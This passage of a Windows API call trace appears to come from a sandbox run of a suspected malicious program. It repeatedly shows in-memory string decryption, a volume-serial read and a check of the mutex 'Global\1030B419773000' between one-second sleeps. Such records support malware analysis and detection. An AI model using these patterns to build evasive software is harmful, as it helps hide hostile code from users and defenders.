phKey=0x2cefc28*=0x10dcb10) returned 1 [0049.861] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0049.861] CryptDecrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0049.861] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0049.861] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0049.861] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0049.861] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0049.861] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc910) returned 1 [0049.861] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0049.861] CryptDecrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0049.861] CryptDestroyKey (hKey=0x10dc910) returned 1 [0049.861] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0049.861] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.861] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0049.861] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0049.861] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.862] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0049.862] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0049.862] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dcb90) returned 1 [0049.862] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0049.862] CryptDecrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0049.862] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0049.862] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0049.862] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x300 [0049.862] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0x0) returned 0x102 [0049.862] CloseHandle (hObject=0x300) returned 1 [0049.862] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0049.862] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0049.862] Sleep (dwMilliseconds=0x3e8) [0051.454] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0051.454] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dc610) returned 1 [0051.454] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0051.454] CryptDecrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0051.454] CryptDestroyKey (hKey=0x10dc610) returned 1 [0051.454] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0051.454] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0051.454] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0051.454] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc950) returned 1 [0051.454] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0051.454] CryptDecrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0051.454] CryptDestroyKey (hKey=0x10dc950) returned 1 [0051.454] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0051.454] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.454] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0051.454] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0051.454] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.455] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0051.455] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0051.455] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc790) returned 1 [0051.455] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0051.455] CryptDecrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0051.455] CryptDestroyKey (hKey=0x10dc790) returned 1 [0051.455] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0051.455] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x31c [0051.455] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0051.455] CloseHandle (hObject=0x31c) returned 1 [0051.455] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0051.455] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0051.455] Sleep (dwMilliseconds=0x3e8) [0053.206] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0053.206] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dc610) returned 1 [0053.206] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0053.206] CryptDecrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0053.206] CryptDestroyKey (hKey=0x10dc610) returned 1 [0053.206] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0053.206] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0053.206] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0053.206] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc810) returned 1 [0053.206] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0053.206] CryptDecrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0053.206] CryptDestroyKey (hKey=0x10dc810) returned 1 [0053.206] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0053.206] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.206] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0053.206] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0053.206] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.206] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0053.206] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0053.206] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc610) returned 1 [0053.206] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0053.206] CryptDecrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0053.206] CryptDestroyKey (hKey=0x10dc610) returned 1 [0053.206] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0053.206] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x328 [0053.206] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x0) returned 0x102 [0053.206] CloseHandle (hObject=0x328) returned 1 [0053.206] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0053.206] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0053.207] Sleep (dwMilliseconds=0x3e8) [0054.533] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0054.533] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dcc50) returned 1 [0054.533] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0054.533] CryptDecrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0054.534] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0054.534] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0054.534] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0054.534] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0054.534] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dcb10) returned 1 [0054.534] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0054.534] CryptDecrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0054.534] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0054.534] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0054.534] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.534] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0054.534] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0054.534] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.534] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0054.534] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0054.534] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc910) returned 1 [0054.534] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0054.534] CryptDecrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0054.534] CryptDestroyKey (hKey=0x10dc910) returned 1 [0054.534] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0054.534] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x304 [0054.534] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0054.534] CloseHandle (hObject=0x304) returned 1 [0054.534] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0054.534] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0054.534] Sleep (dwMilliseconds=0x3e8) [0055.867] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0055.867] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dcb90) returned 1 [0055.867] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0055.867] CryptDecrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0055.868] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0055.868] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0055.868] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0055.868] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0055.868] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc610) returned 1 [0055.868] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0055.868] CryptDecrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0055.868] CryptDestroyKey (hKey=0x10dc610) returned 1 [0055.868] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0055.868] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0055.868] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0055.868] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0055.868] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.868] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0055.868] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0055.868] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dcc90) returned 1 [0055.868] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0055.868] CryptDecrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0055.868] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0055.868] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0055.868] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x31c [0055.868] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0055.869] CloseHandle (hObject=0x31c) returned 1 [0055.870] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0055.870] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0055.870] Sleep (dwMilliseconds=0x3e8) [0057.378] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0057.379] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dc810) returned 1 [0057.379] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0057.379] CryptDecrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0057.379] CryptDestroyKey (hKey=0x10dc810) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0057.379] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0057.379] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0057.379] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc9d0) returned 1 [0057.379] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0057.379] CryptDecrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0057.379] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0057.379] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0057.379] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0057.379] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0057.379] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0057.379] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0057.379] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0057.379] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dccd0) returned 1 [0057.379] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0057.379] CryptDecrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0057.379] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0057.379] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x310 [0057.379] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102 [0057.379] CloseHandle (hObject=0x310) returned 1 [0057.379] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0057.379] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0057.379] Sleep (dwMilliseconds=0x3e8) [0058.633] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0058.633] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dccd0) returned 1 [0058.633] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0058.633] CryptDecrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0058.633] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0058.633] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0058.633] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0058.633] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0058.633] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc950) returned 1 [0058.633] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0058.633] CryptDecrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0058.633] CryptDestroyKey (hKey=0x10dc950) returned 1 [0058.633] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0058.633] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0058.633] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0058.633] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0058.633] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0058.633] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0058.633] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0058.633] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc790) returned 1 [0058.633] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x2cefc44, 